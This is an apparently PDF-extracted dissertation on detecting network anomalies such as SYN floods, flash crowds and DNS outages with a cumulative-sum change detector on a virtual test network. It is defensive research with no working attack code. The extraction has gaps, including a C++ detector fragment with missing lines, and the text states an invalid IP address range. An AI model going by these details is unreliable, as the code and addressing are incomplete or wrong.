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Abstract
Computer network problems can often be time consuming and frustrating to resolve. An
inefficient yet heavily used method for resolving these problems is the manual inspection
of performance data and using ‘trial and error’ methods, until the system is working
again. Normally the actual cause of the problem, is only resolved post-mortem by
inspecting the various network data available. The aim of this paper is to research and
test signal processing techniques and how they can be applied to various data produced
by computer network anomalies.
More specifically, the properties of different network events will be characterised and
the data that makes up those characteristics will be extracted and analysed using a
modified cumulative sum algorithm. Network events that will be covered are Denial of
Service SYN flood attack, Flash Crowd and DNS server failure. The characteristics will
extracted by analysing traffic matching certain properties, such as its IP/TCP protocol,
source and destination address or what TCP flags are set on each packet.
To apply the signal processing techniques, data is required so that it can be processed
by the signal processing system. To achieve this the network anomalies were simulated
in a test network and the traffic was captured during the simulations. The traffic was
then put through the analysis system.
The signal processing technique used mainly was the Cumulative Sum algorithm. The
algorithm was used inside of a change detection system. Results from the change
detection system were promising, as changes in states and state properties were able
to be detected.
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Chapter 1
Introduction
Network and Server anomalies can be extremely time consuming and tedious to detect
and often require deep analysis of data and graphical displays. Many of the commer-
cially available server monitoring tools provide graphic displays of various computer
network metrics and trigger alerts when certain metrics fall outside of accepted values.
The main problem with setting accepted values is that certain network metrics must
be fall between is that network behaviours change over time.
Another shortcoming network monitoring tools is that very high level information is
displayed, which without the detail that creates the information can be of little use.
On the other side too much data can be overwhelming for the person inspecting it and
potential problems could be missed. A solution for this problem could be applying some
signal processing techniques to this data to attempt to extract useful data. There is a
large number of commercially available anomaly detection software packages available,
but they are both expensive and quite often the inner workings of the system are kept
confidential. This in mind, the approach to this paper is to provide the a basic open-
source system that could be easily implemented at low cost. Although not covered
in this project, a real-time implementation of this system would be the end goal. An
open-source system would also allow it to improved over time as well.
The advantages of good anomaly detection is that problems can be identified early and
procedures can be executed to rectify them. Early detection and rectification will ensure
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that the users of the computer network experience less severe performance degradation
or outages.
This purpose of this paper is to identify the different types of computer network anoma-
lies, identify their characteristics, then attempt to devise some signal processing tech-
niques to detect them. Although not explored in this paper, it would be envisaged that
these techniques would be applied in a real-time system.
1.1 Overview of the Dissertation
This dissertation is organized as follows:
Chapter 2 A short history of computer network instrusion and anomalies. Explores
instrusion and anomaly events that have happened in the past, and the techniques
that have been used to attempt to identify them.
Chapter 3 Proposes an approach to using signal processing techniques to detect com-
puter network anomalies.
Chapter 4 Details the set up of the test bed and the software required to perform the
simulation of the various network anomalies. The data capture techniques used
are also explained in this chapter.
Chapter 5 The network netrics to extract and the nature of the experiments are
defined in this chapter.
Chapter 6 Experiments devised in Chapter 5 are performed and the results of the
experiments are produced.
Chapter 7 The results of the network anomaly detection tests are analysed.
Chapter 8 Concludes the dissertation and suggests further work in the area of using
signal processing techniques to detect computer network anomalies.
Chapter 2
A Short History of Computer
Network Anomalies
2.1 Chapter Overview
The purpose of this chapter is to provide a background on computer network anomalies.
This includes a definition of computer network anomalies, research into different types
of anomalies and some real examples of these anomalies. Detection methods used in
past papers will also be discussed.
2.2 Definition of an Anomaly within a Computer Network
To identify network anomalies using signal processing, the anomalies and events causing
these anomalies must be defined. (Thottan & Ji 2003) defines a network anomaly to
occur when network operations deviate from normal network behaviour. Using this
definition the paper put forward the premise that network anomalies are characterised
by “correlated transient changes in measured network data occur prior to or during
an anomalous event”. Both (Carl, Kesidis, Brooks & Rai 2006) and (Barford, Kline,
Plonka & Ron 2002) confirm this view. Anomalous events are generally placed into two
categories, malicious and innocent. Malicious anomalies are generally caused by a third
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party attempting to disrupt the operation of a computer network or server. Anomalies
that are caused by unusual, but legitimate use of a network resource are classified as
innocent, as the operation was not disrupted for malignant purposes.
In all cases of network anomalies either caused by legitimate traffic or not, is that they
all deviate from normal behaviour. Defining and detecting what specific behaviours are
anomalous is a challenging process.
2.3 Different types of Computer Network Anomalies
There are many types of anomalies that affect the availability and performance of
servers and computer networks. Two of the most prevalent types of anomalies are
Denial of Service (DOS) and Flash Crowds, characteristics of these anomalies are well
documented in the literature. Other types of events that cause anomalies, could be
incorrectly configured servers or routers, actual hardware failures or critical servers
such as DNS or DCHP servers malfunctioning.
2.3.1 Denial of Service (DOS) Attack
Network attacks in their very nature are unpredictable and potentially harmful to net-
work availability and integrity. The main form of network attack is a Denial of Service
(DOS) attack. A DOS attack involves sending the victim a large amount of malformed
network traffic, this causes an overload on the servers and switches processing the
packets. The overload will prevent legitimate packets from being processed or cause
the server to crash under the extremely heavy load. Signal processing techniques are
generally more usefully applied to attacks such as DOS attacks. (Patrikakis, Masikos
& Zouratraki 2004).
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2.3.2 Flash Crowd Anomaly
One situation that can cause network anomalies is a flash crowd event, this is caused
when a particular resource on a computer is high demand from the user base. This
creates a large flow of legitimate traffic to one server, which increases the load on the
server, causing performance degradation. A flash crowd is referred to colloquially as
the ‘Slashdot’ effect (Kaltenbrunner, Gomez & Lopez 2007).
2.3.3 Other Types of Network Anomalies
There are many other forms of network attacks, such as spoofing, man-in-the-middle
and packet sniffing (http://technet.microsoft.com/en-us/library/cc959354.aspx, accessed
May 2010). The other situation which causes a network anomaly is a network failure.
A network failure is when a piece of hardware or software malfunctions causing net-
work traffic to suddenly change its behaviour. The change in behaviour could be the
result of a network path becoming unavailable and the traffic being re-routed around
the outage.
2.4 A Background on IP/TCP Structure
As this dissertation centres around the detecting anomalies within computer networks,
a brief background on how computer networks operate via the Internet Protocol (IP)
and the Transmission Control Protocol (TCP) will be provided. This section is not
meant to provide an exhaustive description of the network protocols, but to provide
enough background to understand the thought processes through this paper.
Each network packet consists of several encapsulated layers, of which IP and TCP are
part of. The IP layer is the layer below the TCP layer and encapsulates the TCP frame
and the IP header. The most important part of the IP header for this project are the
destination and source IP addresses.
The TCP layer, is the next layer up and contains the data to be transmitted and other
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Destination Address
Source Address












SYN ACK PSH FIN RST
Figure 2.1: Diagram showing the make up of the TCP/IP protocol encapsulation. (Adapted
from (Leis 2006)).
critical connection data. The TCP layer controls the connection and error handling, as
it is essentially the final layer to be processed and is processed by the actual sender or
receiver of the packet. As the TCP layer contains the port numbers, TCP flags, packet
sequence and many other critical connection properties. This information characterises
the traffic and could be used for anomaly detection in computer networks. See figures
2.1 and 2.2 for a diagrammatic explanation of the IP/TCP layers.
2.5 Available Network Monitoring Software
There are numerous network monitoring packages available that provide a seemingly
endless amount of network information to the administrator. The main premise of these
packages is to present the user with a graphical display of their server and network
data, and then based on that data the administrator will create a series of alarms to
alert them when the data is outside of a pre-set range. The more complex systems
have functionality built in to execute scripts to attempt to rectify the problem without
human interaction.
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Figure 2.2: Diagram showing the encapsulation of the network layers. (Adapted from
(Leis 2006)).
The most popular commercial networking monitoring systems are:
Big Brother http://bb4.com/docs/bb4-release-notes.htm
Nimsoft Monitoring Software http://www.nimsoft.com/solutions/datacenter-network/
network/index.php
Nagios http://www.nagios.org/
Cisco Network Management http://www.cisco.com/en/US/products/ps6835/serv_
group_home.html
The currently available network monitoring tools all provide great network monitoring
functionality, however they require large amounts of resources to implement, and many
are quite expensive install and have large ongoing licence costs. These costs are quite
acceptable for large corporations, but the administrators of less expansive computer
networks might find this cost inhibitive. Therefore, this project, will not create an
alternative to these tools, but the aim is to create a simple yet effective method of
detecting whether or not something is amiss in a computer network. The target users
for such a system would be administrators of small clusters of servers and Information
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Technology hobbyists.
2.6 Statistical Approaches to Anomaly Detection
Non-parametric statistics are statistics that don’t rely on the data being from a prob-
ability distribution. Parametric statistics are the opposite of non-parametric statistics.
Techniques covered by the reviewed papers were mainly wavelet analysis, activity pro-
filing and sequential change-point detection. Wavelet detection was the most popular
technique and involves decomposing the network traffic into frequency components.
The network traffic can then be viewed in a number of frequency spectra, which sepa-
rates the anomalous traffic characteristics from the normal traffic. In wavelet analysis,
the normal traffic is referred to as noise. The wavelet techniques studied in the available
literature split the frequencies into low, mid and high frequency components and tested
their response to different network scenarios.
In Barford et al. (2002), the low frequency component of the data was very similar
to the original signal. As the analysis of the flash crowd anomaly showed the low
frequency band was mildly effective for detecting flash crowds. While the response
was easy to detect visually, the low frequency band wouldn’t be useful for anomaly
detection, as it may be prone to false positive alarms. For short lived anomalies, such
as network outages or DOS attacks, the low frequency band showed no response. The
mid and high frequency decomposition showed promising results for detecting network
anomalies automatically. For both the flash crowd and DOS attack the mid and high
frequency decompositions showed a very visible spike, these spikes would be able to be
detected automatically.
Another technique used for anomaly detection is activity profiling. Activity profiling
involves extracting a network packet’s header details, to provide a measure on the
different types of traffic flows. There a few methods of obtaining an activity profile
for a network, but all follow a similar pattern, flow data from a computer or switch is
collected over a period of time. Normal network operation is then defined by various
statistical metrics of the data. An anomaly is detected when the current network
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activity is deemed to differ from the previously defined normal activity.
To make activity profiling effective the system needs to be trained on the network
for a period of time. Then useful metrics to focus on and apply thresholds on must
be found. This creates a distinct disadvantages of poor portability and inflexibility
with anomaly detection. The portability is poor because the detection would need to
be calibrated to each individual system that is deployed, the calibration period could
be over a month to ensure a stable profile is established. To keep up with constant
evolution of the network, like addition of network resources or network reconfiguration,
the system would need to calibrated regularly. This means that the effectiveness of the
anomaly detection, depends on how well the system is calibrated and would degrade
over time.
The final technique for detecting network anomalies studied is sequential change point
detection. Sequential change point detection involves determining if a observed time se-
ries is statistically homogeneous and then determines the point at which the time series
deviated. The time series is normally made up of data captured from the packet flow,
such as addresses, ports, or protocols. The change point detection method mainly em-
ployed is one that analyses sampled network data, of which a cumulative sum (CUSUM)
is applied to. The CUSUM algorithm is used as the engine of the change point detector,
with various metrics from the network flow fed in.
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2.7 Chapter Summary
This chapter has laid the foundation for the dissertation by explaining the background
of some key concepts covered by this paper. In particular, network anomalies have
been defined, as events that are not part of the normal network behaviour. The basic
parts of the IP/TCP network layers were explained, currently available network moni-
toring tools were discussed and importantly past approaches to anomaly detection were
covered.
The background research has now been completed, so the next step is define the ap-




This chapter will detail the approach taken to the project and how this approach will
be executed. There are three main parts of this research project, formulating experi-
ments, simulating network anomalies and applying signal processing techniques to the
simulation outputs. Prior to commencing these parts some important groundwork must
be done. The groundwork entails researching the characteristics of different network
anomalies and determining which data will be most useful to analyse.
3.2 The Groundwork: Network Characteristics
The literature that was researched for this project in relation to the characteristics
of networks, suggested that a vast amount of useful is stored in packet traces from
networks. Its just a matter of determining what information is useful for detecting
changes in network behaviour. The obvious metric to analyse is the traffic flow rate,
how much traffic is moving around the network at any one time. This is measured in
either the number of packets or bytes transmitted over a period of time.
The traffic flow rate can then broken down further, by splitting the traffic up into
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groups depending on whether or not certain TCP flags are set on the packets. The
design of the TCP protocol suggests that this would be a good method of determining
whether or not traffic on the network is normal. A high occurrence of the SYN flag
would suggest that either a server is not responding or some type malicious behaviour is
happening. The design of the TCP acknowledgement system, suggests that legitimate
traffic in a properly functioning network would see a higher occurrence of the ACK
flag, than the SYN flag.
Detecting anomalous behaviour in legitimate, well-formed traffic flows will require a dif-
ferent approach. From studying the available literature, looking for changes in the oc-
currences of IP addresses and TCP protocols would be good methods to detect changes
within legitimate traffic flows. Another network scenario that could indicate a problem,
would be when there is a high amount of network query traffic being transmitted across
a network.
Network query traffic would be traffic such as DNS queries, ARP queries and ICMP
requests. If the proportion of this type of traffic compared to data transmission in-
creased, then it may indicate that something is amiss with the state of the network.
For example, if the DNS server was not responding, then a large proportion of DNS
requests would be transmitted when compared to HTTP or FTP data packets.
As explained above, some key metrics need to extracted from the packet traces. After
examining the literature and perusing the technical information available about TCP
networks, the following list of metrics was devised.
These extraction of these metrics will be explained in the next section.
3.3 Data Gathering Methods
To extract the metrics described in section 3.2, packet capture and analysis software
will be required. As the tests will be run on a PC running a Linux operating system,
the required software will be easy to obtain. The WireShark suite of software will be
used to capture and analyse the required packet traces. This suite of programs contains
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Metric Description
Packets per second Count of packets received every second.
Bytes per second Number of bytes received every second.
Average Packets per second Moving average of Packets/sec metric.
Average Bytes per second Moving average of bytes/sec metric.
SYN Flags per second Number of packets with SYN flag set per second.
ACK Flags per second Number of packets with ACK flag set per second.
FIN Flags per second Number of packets with FIN flag set per second.
Packets per second by IP The number of packets per destination IP per time period.
Table 3.1: Network metrics to extract and analyse.
software to merge, split and filter the packet traces, which will be required to massage
the data into a format which can be processed by the change detector.
To automate the processing of the packet trace data, the required WireShark commands
will executed from within custom written C++ programs. This automation should save
an enormous of manual file manipulation and pave the way for the possibility real-time
implementation in further work.
As explained above, the metrics will be extracted using some custom written C++
software wrapped around system calls to packet analysis software. The packet analysis
software will be executed to produce ASCII output, that can be scanned line by line by
the calling C++ program. The custom written software, will scan each line, taking the
metrics from the expected position on the line and putting them into a CSV file. The
metrics will then be fed into the signal processing algorithms. CSV files have been used
so that the data can be examined at various stages of the process, using spreadsheet
software. Figure 3.1 graphically shows the basic structure of how the data will gathered
and analysed.
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Figure 3.1: Flowchart of how the data will gathered and processed.
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3.4 Simulation Methods
The tests will be simulated within a virtual network, consisting of a number of virtual
machines running the Debian based Linux distribution, Ubuntu. Using a Linux oper-
ating system enables easy access to utilities to send packets across the network. This
will allow for good control over the data being sent around the network. The structure
of the virtual network will be explained in later chapters.
To create the network anomalies, C/C++ programs will be created to attempt to
simulate the behaviour of the network events. This will require calibration of the
programs to output requests or packets at the desired rate to best simulate events.
The simulations will be run with spurious, short-lived events as well to measure the
ability of the algorithms in detecting false positives.
3.5 Data Analysis Methods
The main data analysis method that will be utilized will be the cumulative sum algo-
rithm. The cumulative sum (CUSUM) will provide good computational efficiency and
if the correct parameters are used should be able to generate some reasonable change
point detection. Some more complex change point detection algorithms have been re-
searched, but for the purposes of efficiency and simplicity a basic CUSUM algorithm
will be used.
The concept behind using a CUSUM algorithm as a change point detector is to incorpo-
rate a moving average, moving standard deviation or rate of change of moving average
to apply as weight to the algorithm. This approach will attempt to detect when the
statistical behaviour of the metric changes. When a change has occurred, the average
and standard deviation statistics will be used to model the new state of the time series.
The statistical values of the previous states will be saved, so when the next change
occurs the new state can be compared against previously encountered states.
Storing the state statistics will enable the traffic behaviour to be analysed over the long
term, and each state could be given a meaningful description. Non-anomalous states
3.5 Data Analysis Methods 16
would be for example, night mode, morning mode, etc. Examples of anomalous states
would be attack, heavy traffic, etc. If a new state is encountered, then it would be
investigated by an administrator and either disregarded or added as a new state.
At the completion of a state change, the moving average of the time series should be
somewhat static within a certain range. While the moving average is changing the state
change will be assumed to be still in progress.
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3.6 Chapter Summary
The approach to the project has been discussed in some detail in this chapter. The
following chapters will involve executing the strategy developed in this chapter. The
main points to take out this are that to get the point where the change point detection
can be tested, some work needs to be done. To get the data for the change point
detector, anomaly patterns need to be researched, a test network created, anomalies
need to be simulated and the resultant packet traces need to be analysed.
Chapter 4
Test Network Setup and Analysis
Software
4.1 Chapter Overview
This section details the set up of the test network to generate the data required to
perform the analysis on. This chapter also specifies the off the shelf software and
simulation software used to capture the various pieces of data. A vital component of
the project, change point detection system is also discussed in this chapter.
4.2 Test Network Set Up
In order to simulate the anomalies and capture the packet traces a test network of
computers will be required. After considering the logistical and hardware requirements
of having a physical network to test with, a virtual network will be used to simulate
and capture the anomalies. Using a virtual network will keep costs down, as physical
hardware will not be required for each machine and physical network infrastructure will
not be required. The only physical requirement for the virtual network is a host PC.
To create the virtual infrastructure required for the network, Sun Microsystem’s Virtu-
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alBox software package was used. This particular software package was chosen because
of its ease of installation, reliability and the fact that it is freely available. Another ad-
vantage was that it could run on both Microsoft Windows and Linux operating systems
and both Linux and Windows virtual machines could be created.
The physical machine that the virtual network was installed on, is running the Debian-
based Linux operating system, Ubuntu 10.04 LTS. Each virtual machine in the virtual
network, also had the Ubuntu operating system installed. The advantage of using the
Ubuntu operating system is that no licensing costs were involved and setting up the
servers and network interfaces in Linux is quite simple. There are also numerous open
source network tools and utilities that can be used to generate and analyse traffic. A
diagram of the test network topology is shown in figure 4.1.
To facilitate the virtual network, a virtual network interface was installed on the host
PC, that provided an isolated, host-only network. The virtual network interface enabled
packet traces to be easily captured on the host PC, to prevent interference with the
activity on the virtual network. Each virtual machine was assigned an IP address within
the 192.169.56.101-192.169.56.256 address range, with the gateway machine (host PC)
at address 192.169.56.1. Each virtual machine was running 256MB of random access
memory (RAM) and a basic virtual processor. The size of the RAM had to be kept to
minimum so that many virtual machines could run simultaneously without exhausting
the RAM on the host PC.
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Figure 4.1: Diagram of test network, used to simulate the anomalies and capture the data
required for analysis.
4.3 Simulation Software
To attempt to simulate the different computer network events, programs will need to
be created. The simulation programs will be written in the C/C++ programming
language. The two events that will need to be simulated, will be the SYN flood attack
and the flash crowd event, therefore two programs will be required.
The SYN flood simulator that will used was written by Guild Productions in 1996
(modified 1998 by Dan Forsberg) as part of a white paper on the subject of network
attacks. It was written in the C programming language and a couple of minor modifi-
cations on the header file includes and some variable assignments were required. The
changes were required so that the program could be compiled and run on the virtual
machines in the test network. The source code for this program can be found in Ap-
pendix B. The main premise of this simulator is to send as many packets with the SYN
flag set to the victim machine, to create an anomalous traffic pattern.
For the flash crowd simulation the simulator will increase the traffic in predetermined
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Figure 4.2: Graph showing the traffic flow over time from a real flash crowd event. (Copy-
right Princeton University Slashdotting (2010))
pattern, which was designed by studying patterns of previous real life flash crowd events.
To attempt to make the increase in traffic appear realistic a noise component will be
added to simulator, which will put ‘rough’ edges on the output from the simulator.
The noise was added to the simulation to ensure the change detection methods are
thoroughly tested. The event that the flash crowd simulator will be modelled on is
an event recorded by Princeton University, from of their servers. The basic shape of
the ‘visits per minute’ curve will be used for the flash crowd simulator. The type of
requests generated by the simulator will be FTP requests, as they are simple to create
and automate. Like the SYN flood simulator, the source code is in Appendix B
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4.4 Data Processing Software
Once the packet trace data is captured, it needs to be analysed, so the required metrics
can be extracted and saved to a file to be processed by the change detector. There are
four types of analysis that must be done to get the required data, all of which extract
the packet flow rate after certain filters have been applied.
4.4.1 Data Priming
The first stage of processing the packet trace data involves running statistical analysis
on the packet traces. Once this is done the statistics will be saved into a CSV file ready
for the signal processing software to process it. As explained above four different types
of priming will be required, these are filtering the traces by IP address, TCP flags,
TCP protocols and running the analysis with no filtering. The filtered packet traces
will then analysed to extract the packet flow rates.
Basically, the data priming software will obtain a listing of each packet trace in the
data set, then process the files in chronological order. For each iteration the required
filters will be applied to the data sets, then using the WireShark command line tools,
the required statistical analysis will performed and the results saved to a text file. The
text file will then be processed line by line and the resultant data will be saved to a
CSV file ready to be processed by the change detector. Figure 4.3 graphically shows
the flow of the program.
The TCP protocol filtering will be done in a slightly different fashion than the other
extractions. For the TCP protocol filtering, the packet trace data sets will be split
into sixty second fragments, then a protocol hierarchy analysis will be performed on
each fragment in order. This will result in a CSV file containing the number of packets
transmitted per protocol per minute.
As some of the packet trace data sets will be in parts due to their size, is it vitally
important each file is processed in chronological order so the data output is useful. The
source code for the data priming programs can be found in Appendix C
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Figure 4.3: Flowchart showing program logic of the data priming software.
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4.4.2 Signal Processing
The next part of the system is the actual change point detection program. This program
is quite simple, it takes the CSV file that was generated by the priming programs
explained in the previous section and runs each column through the change detection
algorithm. The change detection program outputs a number of files, each containing a
different calculated value that was used by the change point detector. The output files
will enable the effectiveness of the calculations to be evaluated.
The basic premise of the cumulative sum algorithm used for this system is that it must
respond when the metric being processed, is outside a certain range of the moving
average of that metric. It was decided originally that the moving average of the actual
samples could be used in the CUSUM algorithm, however the response was too sensitive
to change. Then using basic signal processing logic, the idea of using the rate of change
of the moving average in the CUSUM was hatched. After trialling this method with a
test data set, it was decided that the derivative of the moving average would be used
as the variable to trigger the change detector. The equations used for the positive and
negative CUSUM is shown below in equations 4.4.2 and 4.4.2 respectively.
S(n) = max(0, (S(n− 1) + (T (n)− ω ∗MovingAverage(T (n− 99, ..., n)))
(4.1)
S(n) = max(0, (S(n− 1) + (abs(T (n))− abs(ω ∗MovingAverage(T (n− 99, ..., n))))
(4.2)
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The following code fragment shows the brains of the change point detector and state
detector, when set up to detect change in the rate of a change of the moving average of
the samples. Two points of interest are the assignment of the cusumPos and cusumNeg
variables and the state comparison logic. The equations used to calculate the CUSUM
values are critical, as the entire system would not work, if they could not detect a
change in state.
double metWeight;// weight for CUSUM set to 2.
double cusumPos; // CUSUM for positive change detection
double cusumNeg; // CUSUM for negative change detection
dmean = movMean - movMeanPrev; // rate of change of mean
dmeanArr[upto] = dmean; // save dx for mean calc
mdmean = getMean(dmeanArr, sampleNum); // average dmean
dmeansd = stdDev(dmeanArr, mdmean); // standard deviation of the derivative
of the mean
// Change Point Detector -----------------------------------
if (mdmean < 0) { cusumPos = 0; cusumNeg = max(minVal,cusumNPrev[i] +
(abs(dmean) - abs(metWeight*mdmean)));}
else {cusumPos = max(minVal,cusumPPrev[i] + (dmean - metWeight*mdmean));
cusumNeg = 0;} // detect rise in mean
// if any of the CUSUMs are positive a possible state transition
is in progress.
if ((cusumPos > 0 || cusumNeg > 0) && sampleNum > 15) {
mode[i] = 1; tranc[i]++;
if (prevMode[i] == 0) {
//state has changed save current mean and stddev
if (i==1) {cout << "Mode changed from 0 to 1 at sample #"
<< sampleNum << "newState[i] = " << newState[i] << "..." <<
endl;} // debug code
if (newState[i]) {
cout << "hello, i = " << i << endl; //debug














if (prevMode[i] == 1) {
if (i==1) {cout << "Mode changed from 1 to 0 at sample #" <<
sampleNum << "..." << endl;} // debug code
staticc[i] = 0;
}
if (prevMode[i] == 0) {
// we want to see how long we have been in ’static’ mode,
// if the system is static for a period of time, then compare mean
// with the other static mode means.
if (i==1) {cout << "Mode has been static for " << staticc[i] <<
"samples..." << endl;} // debug code
// New State Detector--------------------------------------
// we only want to check for state change if system is stable
if (staticc[i] >= 30) {
// ok, stable system, compare current mean.
bool foundMatch = false;
for (int k = 0; k < statec[i]-1; k++) {
if (i == 1) {
cout << "movMean = " << movMean << ", oldmean = " <<
stateArr[i][k][0] << ", oldstd = " << stateArr[i][k][1]
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<< endl; //debug code
}
if ((movMean <= (stateArr[i][k][0] + stateArr[i][k][1])) &&
(movMean >= (stateArr[i][k][0] - stateArr[i][k][1]))) {







// If no state matches are found, then the system is in
a new state.






The CUSUM variables are used to determine when the input is in a state of change.
When these variables are greater than zero it indicates that the moving average is either
decreasing or increasing. Therefore, when the positive CUSUM equation is greater than
zero it can be stated the system is in a positive transition between two states. A value
for the negative CUSUM equation indicates that state of the system is changing towards
a lower average. However, it is possible that the CUSUM equations can be greater than
zero for a short period of time. For example a short spike in traffic might cause the
positive CUSUM to be positive over one or two samples, but a new state is not reached,
because the samples go back down to their pre-spike mean.
As it can’t be guaranteed that just because the CUSUM algorithm responded to the
input that a state change has occurred, the system must save the its current state data.
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Figure 4.4: Flowchart showing program logic of the signal processing software.
When the CUSUM goes back to zero the saved state information can be compared the
‘new’ state information, if the current mean is within a certain range of the previous
mean, then a state change has not occurred. If the new mean is outside the range of
the previous mean, then a truly new state has been found. This part of the program is
the state detection system.
The full source code for this program is listed in Appendix C.5
4.5 Off the Shelf Software
To create traffic, capture the packets and perform statistical analysis, freely available
Linux software will be used. In particular the WireShark command line programs,
an ftp server, a http server and some miscellaneous command line traffic generating
tools. See the referenced section for the location of the technical documentation for the
software used.
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The main WireShark programs that were used for the project were, tshark, editcap
and mergecap. The tshark program was able to capture the packets and perform the
required analysis once the simulations were completed. The editcap and mergecap
programs were used to manipulate the packet trace data, to either split them into
smaller pieces or merge the pieces together.
In order to create legitimate traffic that would be properly analysed by the pack trace
analysis software, some basic servers had to be set up in the virtual network. The two
main servers set up were a http server and an ftp server. Apache2 and ftpd were used
as the respective servers. To get the ftpd server running was very straight forward, no
configuration was required. To start the ftpd server as a daemon, this command was
executed from the Linux terminal:
sudo ftpd -D
Setting up the http server (apache2) was also quite simple on the virtual Linux ma-
chines. The required packages were downloaded from the available repositories, in-
stalled, then some minor configuration was done. The configuration mainly centered
around allowing the other VMs to connect and download a basic HTML web page. To
start the apache2 server this command was executed:
sudo apache2ctl start
To generate the traffic to transmit over the network, Linux command line tools packit,
ftp, wget and ping were used. The wget and ftp programs were executed from with a
C++ shell program, so their number of requests could be easily managed. The packit
and ping utilities were able to be set up from the command line to produce a steady
stream of network traffic. The relevant Linux man pages were consulted to learn how
to use these utilities.
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4.6 Chapter Summary
In summary, this chapter has detailed the infrastructure and software required to un-
dertake the simulations and analysis. The simulations will be performed on a virtual
network consisting of virtual computers, the virtual infrastructure will be created using
Sun Microsystem’s VirtualBox software. To create the network traffic a combination
of C/C++ programs and freely available Linux programs will be used.
The network traffic will be captured and analysed by WireShark utilities. The output
from the WireShark utilities will then be processed by some newly coded C++ programs
to form CSV files. The change detector will pick up the CSV files and process them,
outputting the results to be analysed.




Before the signal processing techniques can be used to detect problems within a com-
puter network, the experiments to gauge their effectiveness must be devised. This
section will detail what metrics will be analysed and how they will be analysed. The
four main anomalies that will be simulated will be, a Denial of Service (DOS) attack,
flash crowd, DNS server outage. This means that three sets of metrics and experiments
will need to be devised, to attempt to measure the effectiveness of the change point
detection and state detection algorithms. It must be made clear at this point, that the
purposes of the experiments are not to test the effectiveness of the anomaly simula-
tions, but rather to test the effectiveness of the detection algorithms. So in effect, the
simulations are just modelled on typical anomalies, but not intended to detrimentally
affect the performance or uptime of the victim machine.
5.2 DOS Attack Experiment
The DOS attack will be simulated in the test network, with two machines attacking
another machine. Using the DOS attack program discussed in chapter 4, the victim
machine will receive a flood of standard http packets with the SYN flag set. This
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Figure 5.1: Timeline of TCP connection initiation (adapted from (Kristoff 2000)).
type of attack exploits a flaw in the design of the TCP connection initiation and ac-
knowledgement system, see figure 5.1. When a server receives a SYN packet it opens
a connection to the client, awaiting the SYN-RECEIVE packet, if the next packet in
the sequence is never received, the connection remains open until the server times out
the connection. Therefore if enough packets with the SYN flag can be sent within a
short period of time, an extremely large amount of open connections can be created.
This will place a heavy strain on the resources on the victim and cause either a severe
degradation in performance or a complete outage of the victim machine. As the attack
prevents legitimate users from accessing the server, a SYN flood attack falls into the
Denial of Service (DOS) attack category.
The characteristics of a SYN flood attack are (Patrikakis et al. 2004):
• High volume of traffic
• In the case of a distributed and IP spoofed attack, the IP address spread could
be very wide.
• High volume of packets received with SYN flag set.
• Normal volume of packets of received with ACK and FIN flags set.
• Packet headers for malicious packets would have many similar traits.
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• Average packet size would normally remain static throughout a SYN flood attack,
as the packets would be similar.
As the DOS attack being simulated is a SYN Flood DOS attack, which attempts to
disable the victim by sending large amounts of SYN packets, a ratio of SYN/ACK/FIN
packets per second would be a useful metric to measure.
As the name of the attack type suggests, the victim machine is flooded with packets,
so another useful metric would be packets per second and bytes per second. The ratio
of the two would also be useful as the packets would generally be of a uniform size and
this ratio would remain static during an attack.
The metrics that need to be analysed for a DOS would be:
• Packets per Second
• Bytes per Second
• SYN flags per second
• ACK flags per second
• FIN flags per second
A good detection method to test would be when the ACK/SYN flag ratio falls below 1,
meaning that more SYN packets are being transmitted than ACK packets. While this
test would not exclusively detect a SYN flood attack, it would be useful to determine
when network traffic is illegitimate. The ratio will need to be taken over a moving
window, as an overall average would be too rigid to detect a change in state.
Another test that will performed on the SYN flood attack data would be a simple
cumulative sum (CUSUM) analysis of the packet and byte flow rate. This should
produce a clear change point from when the attack commenced and when the attack
ceases, as there will be a very large change in this statistic. Various weights for the
CUSUM will be trialled so that the responses for each weight can be compared.
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5.3 Flash Crowd Experiment
Like the DOS attack test in section 5.2, this experiment will be set up and run in the
test network. For this experiment the flash crowd simulator explained in chapter 4
will be executed on one of the virtual machines to continuously download a file from
another virtual machine. The protocol that will be used for the transfer is the File
Transfer Protocol (FTP). This protocol was chosen as the server is easy to implement
and the connection and transfer can be automated using a batch file, which makes it
easy to run in the simulator.
To create some ambient traffic on the virtual network, tasks will be scheduled on each
of the VMs to run built-in traffic generators and network query tools.
As a flash crowd anomaly is a result of legitimate traffic, the metrics and techniques
used for the detection of the DOS attack, will need to be modified. The general char-
acteristics of a flash crowd, which can change from event to event are:
• A sharp increase in traffic.
• The traffic may stablize for a period of time. The length of this period is variable.
• Traffic will steadily decrease over time, after stable period.
• The traffic is directed at retrieving the same network resource.
• Latency normally increases.
The simulation of the flash crowd event will follow a pattern similar to the one above.
Some interesting aspects to analyse for a flash crowd, would be the individual TCP
protocol frequencies. After studying the main characteristics of a flash crowd, a good
indicator of a change in traffic behaviour could the proportion of a TCP protocol, as
compared to another. This would not be effective for web server, though because a web
server would be predominately receiving HTTP requests in normal situations. This
type of analysis would be good for a multi-purpose server or main network switch.
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Two flash crowd simulations will be performed, one to increase the traffic to one IP
address out a group of three and the other will increase the frequency of an individual
IP/TCP protocol. While the overall traffic will increase in a similar pattern to the
protocol/IP address targeted, breaking down the traffic into defined categories enables
the system to pinpoint exactly what the target of the flash crowd is. An overall view
would probably still detect the flash crowd, but it would not be able to distinguish
what resource is experiencing the increase in traffic. For a busy network, the flash
crowd event could be lost within the other traffic if an overall view is taken when
checking for anomalies.
5.3.1 Flash Crowd Simulation 1
To set up the simulation for the flash crowd, one of the virtual machines will act as a
network proxy, that will act as a channel for all ‘Internet’ traffic. The proxy machine
will request data from each of the other three machines, with one machine receiving a
higher proportion of traffic than the other two. Once the flash crowd event is initiated,
one the three server machines will receive an increasing amount of traffic, this machine
will be the victim of the event.
This will in-effect simulate the flash crowd as one network resource is under high-
demand. The end result of this event will cause a change in state of the internal IP
address distribution of the data requests. The type of request used for this simulation
will be an FTP request.
One virtual machine will be the ‘network proxy’ machine, sending requests to the
other 3 virtual machines. A constant stream of requests will be sent to each of the
three virtual machines, the number of requests will vary from machine to machine.
After thirty minutes of the simulation, the flash crowd event will commence. The
number of requests to one server will increase exponentially until it reaches a peak, at
approximately the 5 hour mark, the number of requests will tail off, eventually reaching
a point slightly higher than the original request frequency.
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5.3.2 Flash Crowd Simulation 2
To simulate another type of flash crowd, for a server that handles many types of re-
quests, like FTP and HTTP, another approach will be taken. With this experiment
a server will be receiving a range of different request types, then the flash crowd will
be initiated, which will greatly increase one type of request being received. This will
invoke a change of state of TCP protocol distribution.
The second flash crowd simulation will involve three virtual machines sending HTTP
